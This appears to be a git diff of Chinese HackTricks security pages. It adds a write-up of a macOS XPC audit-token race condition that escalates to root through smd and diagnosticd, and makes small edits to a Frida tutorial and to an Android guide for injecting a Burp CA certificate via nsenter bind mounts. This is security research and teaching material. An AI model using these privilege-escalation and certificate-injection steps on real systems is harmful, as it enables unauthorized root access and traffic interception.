if (access("/tmp/pwned", F_OK ) == 0) {
|
||||
pwned = true;
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
## 参考资料
|
||||
|
||||
* [https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/](https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/)
|
||||
* [https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf](https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一个**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
|
@ -0,0 +1,136 @@
|
|||
# macOS xpc\_connection\_get\_audit\_token攻击
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
**此技术摘自**[**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
## Mach消息基本信息
|
||||
|
||||
如果你不知道什么是Mach消息,请查看以下页面:
|
||||
|
||||
{% content-ref url="../../../../mac-os-architecture/macos-ipc-inter-process-communication/" %}
|
||||
[macos-ipc-inter-process-communication](../../../../mac-os-architecture/macos-ipc-inter-process-communication/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
暂时记住以下内容:\
|
||||
Mach消息通过_mach端口_发送,这是一个内置于mach内核中的**单接收器、多发送器通信**通道。**多个进程可以向mach端口发送消息**,但在任何时刻**只有一个进程可以从中读取**。就像文件描述符和套接字一样,mach端口由内核分配和管理,进程只看到一个整数,它们可以用来指示内核它们想要使用的mach端口。
|
||||
|
||||
## XPC连接
|
||||
|
||||
如果你不知道如何建立XPC连接,请查看:
|
||||
|
||||
{% content-ref url="../" %}
|
||||
[..](../)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 漏洞摘要
|
||||
|
||||
你需要知道的是,**XPC的抽象是一对一的连接**,但它是基于一种**可以有多个发送器的技术**构建的:
|
||||
|
||||
* Mach端口是单接收器,_**多发送器**_。
|
||||
* XPC连接的审计令牌是从最近接收的消息中**复制**的审计令牌。
|
||||
* 获得XPC连接的**审计令牌**对于许多**安全检查**至关重要。
|
||||
|
||||
尽管前面的情况听起来很有希望,但在某些情况下,这不会引起问题:
|
||||
|
||||
* 审计令牌通常用于授权检查,以决定是否接受连接。由于这是使用对服务端口的消息进行的,**尚未建立连接**。在此端口上的更多消息只会被处理为附加的连接请求。因此,**接受连接之前的检查不会受到漏洞的影响**(这也意味着在`-listener:shouldAcceptNewConnection:`中,审计令牌是安全的)。因此,我们正在**寻找验证特定操作的XPC连接**。
|
||||
* XPC事件处理程序是同步处理的。这意味着一个消息的事件处理程序必须在调用下一个消息的事件处理程序之前完成,即使在并发调度队列上也是如此。因此,在**XPC事件处理程序中,审计令牌不能被其他正常(非回复!)消息覆盖**。
|
||||
|
||||
这给我们提供了两种可能的方法:
|
||||
|
||||
1. 变体1:
|
||||
* **Exploit**连接到服务**A**和服务**B**。
|
||||
* 服务**B**可以调用服务**A**中用户无法调用的**特权功能**。
|
||||
* 服务**A**在**不在**`dispatch_async`的事件处理程序**内部**调用**`xpc_connection_get_audit_token`**。
|
||||
* 因此,一个**不同的消息**可以**覆盖审计令牌**,因为它是在事件处理程序之外异步调度的。
|
||||
* Exploit将**发送权**传递给服务**A**的**SEND right**。
|
||||
* 因此,svc **B**实际上将**发送消息**到服务**A**。
|
||||
* Exploit尝试**调用特权操作**。在一个RC svc **A**中,**检查**此**操作**的授权,而**svc B覆盖了审计令牌**(使得Exploit可以调用特权操作)。
|
||||
2. 变体2:
|
||||
* 服务**B**可以调用服务**A**中用户无法调用的**特权功能**。
|
||||
* Exploit连接到**服务A**,**服务A**向Exploit发送一个**期望响应**的消息,使用特定的**回复端口**。
|
||||
* Exploit向服务**B**发送一条消息,传递**该回复端口**。
|
||||
* 当服务**B回复**时,它将消息**发送到服务A**,而**Exploit**发送一条不同的消息到服务**A**,试图**达到特权功能**,并期望服务**B的回复**在恰当的时刻覆盖审计令牌(竞争条件)。
|
||||
## 变种1:在事件处理程序之外调用xpc_connection_get_audit_token <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
||||
|
||||
场景:
|
||||
|
||||
* 有两个我们都可以连接的mach服务**A**和**B**(基于沙盒配置文件和接受连接之前的授权检查)。
|
||||
* **A**必须对**B**可以通过的特定操作进行**授权检查**(但我们的应用程序不能)。
|
||||
* 例如,如果B具有某些**权限**或以**root**身份运行,它可能允许他要求A执行特权操作。
|
||||
* 对于此授权检查,**A**通过异步方式获取审核令牌,例如通过从**`dispatch_async`**调用`xpc_connection_get_audit_token`。
|
||||
|
||||
{% hint style="danger" %}
|
||||
在这种情况下,攻击者可以触发**竞争条件**,制作一个**利用程序**,在**B向A发送消息**的同时**多次要求A执行操作**。当RC(Race Condition)**成功**时,**B**的**审核令牌**将在**处理**我们的**利用程序**的A的同时被复制到内存中,使其能够访问只有B才能请求的特权操作。
|
||||
{% endhint %}
|
||||
|
||||
这种情况发生在**A**作为`smd`,**B**作为`diagnosticd`的情况下。可以使用[`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc)函数从smb安装新的特权助手工具(作为**root**)。如果以**root**身份运行的进程联系**smd**,则不会执行其他检查。
|
||||
|
||||
因此,服务**B**是`diagnosticd`,因为它以**root**身份运行,并且可以用于**监视**进程,因此一旦监视开始,它将**每秒发送多个消息**。
|
||||
|
||||
进行攻击的步骤:
|
||||
|
||||
1. 我们按照正常的XPC协议与`smd`建立**连接**。
|
||||
2. 然后,我们与`diagnosticd`建立**连接**,但我们不是生成两个新的mach端口并发送它们,而是用我们对与`smd`的连接的**发送权利的副本**替换客户端端口的发送权利。
|
||||
3. 这意味着我们可以向`diagnosticd`发送XPC消息,但是`diagnosticd`发送的任何消息都会发送到`smd`。
|
||||
* 对于`smd`,我们和`diagnosticd`的消息都出现在同一个连接上。
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image.png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
4. 我们要求`diagnosticd`**开始监视**我们(或任何活动的)进程,并且我们向`smd`**垃圾邮件例程1004消息**(以安装特权工具)。
|
||||
5. 这会创建一个需要在`handle_bless`中命中非常特定窗口的竞争条件。我们需要`xpc_connection_get_pid`的调用返回我们自己进程的PID,因为特权助手工具位于我们的应用程序包中。但是,`connection_is_authorized`函数内部的`xpc_connection_get_audit_token`调用必须使用`diganosticd`的审核令牌。
|
||||
|
||||
## 变种2:回复转发
|
||||
|
||||
如前所述,对XPC连接上的事件处理程序的处理永远不会同时执行多次。然而,**XPC回复**消息的处理方式不同。有两个用于发送期望回复的消息的函数:
|
||||
|
||||
* `void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message, dispatch_queue_t replyq, xpc_handler_t handler)`,在这种情况下,XPC消息在指定的队列上接收和解析。
|
||||
* `xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, xpc_object_t message)`,在这种情况下,XPC消息在当前调度队列上接收和解析。
|
||||
|
||||
因此,**XPC回复数据包可能在执行XPC事件处理程序时被解析**。虽然`_xpc_connection_set_creds`使用了锁定,但这仅防止对审核令牌的部分覆盖,它不会锁定整个连接对象,因此有可能在解析数据包和执行其事件处理程序之间**替换审核令牌**。
|
||||
|
||||
对于这种情况,我们需要:
|
||||
|
||||
* 与之前一样,两个我们都可以连接的mach服务_A_和_B_。
|
||||
* 再次,_A_必须对_B_可以通过的特定操作进行授权检查(但我们的应用程序不能)。
|
||||
* _A_向我们发送一条期望回复的消息。
|
||||
* 我们可以向_B_发送一条它将回复的消息。
|
||||
|
||||
我们等待_A_向我们发送一条期望回复的消息(1),而不是回复,我们获取回复端口并将其用于我们发送给_B_的消息(2)。然后,我们发送一条使用被禁止的操作的消息,并希望它与_B_的回复同时到达(3)。
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## 发现问题
|
||||
|
||||
我们花了很长时间来寻找其他实例,但由于条件的限制,无论是静态搜索还是动态搜索都很困难。为了搜索异步调用`xpc_connection_get_audit_token`,我们使用Frida来钩住此函数,以检查回溯是否包含`_xpc_connection_mach_event`(这意味着它不是从事件处理程序中调用的)。但是,这只能找到我们当前钩住的进程中的调用和活动使用的操作。在IDA/Ghidra中分析所有可达的mach服务非常耗时,特别是当调用涉及dyld共享缓存时。我们尝试编写脚本来查找从使用`dispatch_async`提交的块可达的调用`xpc_connection_get_audit_token`,但是解析块和传递到dyld共享缓存中的调用使得这变得困难。在花了一段时间后,我们决定最好提交我们已经有的内容。
|
||||
## 修复方法 <a href="#the-fix" id="the-fix"></a>
|
||||
|
||||
最后,我们报告了`smd`中的一般问题和特定问题。苹果只在`smd`中进行了修复,将调用`xpc_connection_get_audit_token`替换为`xpc_dictionary_get_audit_token`。
|
||||
|
||||
函数`xpc_dictionary_get_audit_token`从接收到此XPC消息的mach消息中复制审核令牌,这意味着它不容易受到攻击。然而,就像`xpc_dictionary_get_audit_token`一样,这也不是公共API的一部分。对于更高级的`NSXPCConnection` API,没有明确的方法来获取当前消息的审核令牌,因为它将所有消息抽象为方法调用。
|
||||
|
||||
我们不清楚为什么苹果没有应用更一般的修复方法,例如丢弃与连接的保存的审核令牌不匹配的消息。可能存在某些情况下,进程的审核令牌合法地发生变化,但连接应该保持打开状态(例如,调用`setuid`会更改UID字段),但是PID或PID版本不同的更改不太可能是有意的。
|
||||
|
||||
无论如何,这个问题在iOS 17和macOS 14中仍然存在,所以如果你想去寻找它,祝你好运!
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
@ -12,9 +12,9 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
如果你对**黑客职业**感兴趣并且想要黑掉不可黑掉的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -127,15 +127,15 @@ return encrypted_ret;
|
|||
```
|
||||
## 重要
|
||||
|
||||
在本教程中,您使用方法的名称和_.implementation_来挂钩方法。但是,如果有**多个具有相同名称的方法**,您将需要**指定要挂钩的方法**并指定**参数的类型**。
|
||||
在本教程中,您使用方法的名称和_.implementation_来挂钩方法。但是,如果有**多个具有相同名称的方法**,您将需要**指定要挂钩的方法**,并指定参数的类型。
|
||||
|
||||
您可以在[下一个教程](frida-tutorial-2.md)中看到这一点。
|
||||
|
||||
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果您对**黑客职业**感兴趣并想要黑掉不可黑掉的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
||||
如果您对**黑客职业**感兴趣并且想要黑掉不可黑掉的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -144,7 +144,7 @@ return encrypted_ret;
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
|
|
@ -14,14 +14,12 @@
|
|||
|
||||
## 在虚拟机上
|
||||
|
||||
首先,你需要从Burp中下载Der证书。你可以在_**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_中完成。
|
||||
首先,你需要从Burp中下载Der证书。你可以在_**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_中完成此操作。
|
||||
|
||||
![](<../../.gitbook/assets/image (367).png>)
|
||||
|
||||
**以Der格式导出证书**,然后将其转换为**Android**能够**理解的形式**。请注意,**为了在AVD中配置Burp证书**,你需要**使用**`-writable-system`**选项运行该虚拟机。\
|
||||
**以Der格式导出证书**,然后将其转换为**Android**能够**理解的形式**。请注意,**为了在AVD中配置Burp证书**,你需要**使用**`-writable-system`**选项运行此虚拟机。\
|
||||
例如,你可以这样运行它:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
|
||||
```
|
||||
|
@ -50,15 +48,15 @@ adb reboot #Now, reboot the machine
|
|||
|
||||
1. **安装CA证书**:只需将DER Burp证书拖放到移动设备上,将扩展名更改为`.crt`,以便将其存储在下载文件夹中,然后转到“安装证书”->“CA证书”
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
|
||||
* 检查证书是否正确存储,转到“受信任的凭据”->“用户”
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
|
||||
2. **使其成为系统信任的**:下载Magisc模块[MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)(一个.zip文件),将其拖放到手机中,转到手机上的Magics应用程序,转到“模块”部分,点击“从存储安装”,选择`.zip`模块,安装后重新启动手机:
|
||||
2. **使其成为系统信任的**:下载Magisc模块[MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)(一个.zip文件),将其拖放到手机上,转到手机上的Magics应用程序,转到“模块”部分,点击“从存储安装”,选择`.zip`模块,安装后**重新启动**手机:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
|
||||
* 重新启动后,转到“受信任的凭据”->“系统”,检查Postswigger证书是否存在
|
||||
|
||||
|
@ -66,13 +64,13 @@ adb reboot #Now, reboot the machine
|
|||
|
||||
## Android 14之后
|
||||
|
||||
变化:
|
||||
变更:
|
||||
|
||||
* 到目前为止,系统信任的CA证书位于**`/system/etc/security/cacerts/`**。在标准的AOSP模拟器上,可以使用根访问直接修改这些证书,立即在所有地方生效。
|
||||
* 在Android 14中,系统信任的CA证书通常位于**`/apex/com.android.conscrypt/cacerts`**,而**`/apex`的所有内容都是不可变的**。
|
||||
* 无法将**APEX cacerts路径重新挂载为可写** - 重新挂载会失败。实际上,即使您从根shell中卸载整个路径,应用程序仍然可以正常读取您的证书。
|
||||
* 将tmpfs目录挂载在顶部的替代技术也无法工作 - 即使这意味着`ls /apex/com.android.conscrypt/cacerts`可能返回空(或任何其他您喜欢的内容),应用程序仍然会看到相同的原始数据。
|
||||
* 因为`/apex`挂载是[显式挂载](https://cs.android.com/android/platform/superproject/main/+/main:system/core/init/mount\_namespace.cpp;l=97;drc=566c65239f1cf3fcb0d8745715e5ef1083d4bd3a),**使用私有传播**,所以在`/apex`路径内的挂载的所有更改都不会在进程之间共享。
|
||||
* 将tmpfs目录挂载到顶部的替代技术也无法工作 - 即使这意味着`ls /apex/com.android.conscrypt/cacerts`可能返回空(或任何其他您喜欢的内容),应用程序仍然会看到相同的原始数据。
|
||||
* 因为`/apex`挂载是[显式挂载](https://cs.android.com/android/platform/superproject/main/+/main:system/core/init/mount\_namespace.cpp;l=97;drc=566c65239f1cf3fcb0d8745715e5ef1083d4bd3a),使用私有传播,因此`/apex`路径内的挂载更改永远不会在进程之间共享。
|
||||
|
||||
这是由启动操作系统的`init`进程完成的,然后启动[Zygote进程](https://en.wikipedia.org/wiki/Booting\_process\_of\_Android\_devices#Zygote)(使用从父进程复制的新挂载命名空间,因此包括其自己的私有`/apex`挂载),然后依次启动每个应用程序进程,每当在设备上启动应用程序时(每个应用程序进程然后复制相同的私有`/apex`挂载)。
|
||||
|
||||
|
@ -155,7 +153,7 @@ nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- \
|
|||
/bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
|
||||
Zygote 进程会为每个应用程序生成一个副本的挂载命名空间,因此这确保了所有新启动的应用程序(从现在开始的所有应用程序)都将使用此目录。
|
||||
Zygote 进程会生成每个应用程序,复制其挂载命名空间以完成此操作,因此这确保了所有新启动的应用程序(从现在开始的所有内容)都将使用此目录。
|
||||
* 然后,使用 `nsenter` 进入每个已运行应用程序的命名空间,并执行相同的操作:
|
||||
|
||||
```bash
|
||||
|
@ -163,13 +161,13 @@ nsenter --mount=/proc/$APP_PID/ns/mnt -- \
|
|||
/bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
|
||||
或者,如果你不介意笨拙的用户体验,你应该能够在 `init` 本身(PID 1)上进行绑定挂载,然后运行 `stop && start` 来软重启操作系统,重新创建所有命名空间并传播你的更改(但个人上我不喜欢笨拙的重启,所以我完全忽略了这条路线)。
|
||||
或者,如果你不介意笨拙的用户体验,你应该能够在 `init` 本身(PID 1)上进行绑定挂载,然后运行 `stop && start` 来软重启操作系统,重新创建所有命名空间并传播你的更改(但个人上我不介意笨拙的重启,所以我完全忽略了这条路线)。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家 **网络安全公司** 工作吗?你想在 HackTricks 中 **为你的公司做广告** 吗?或者你想获得 **PEASS 的最新版本或下载 PDF 格式的 HackTricks** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 你在一家 **网络安全公司** 工作吗?想要在 HackTricks 中 **为你的公司做广告** 吗?或者想要访问 **PEASS 的最新版本或下载 PDF 格式的 HackTricks** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或在 **Twitter** 上 **关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
|
|
|
@ -2,12 +2,12 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家 NFT 收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 你在一家**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
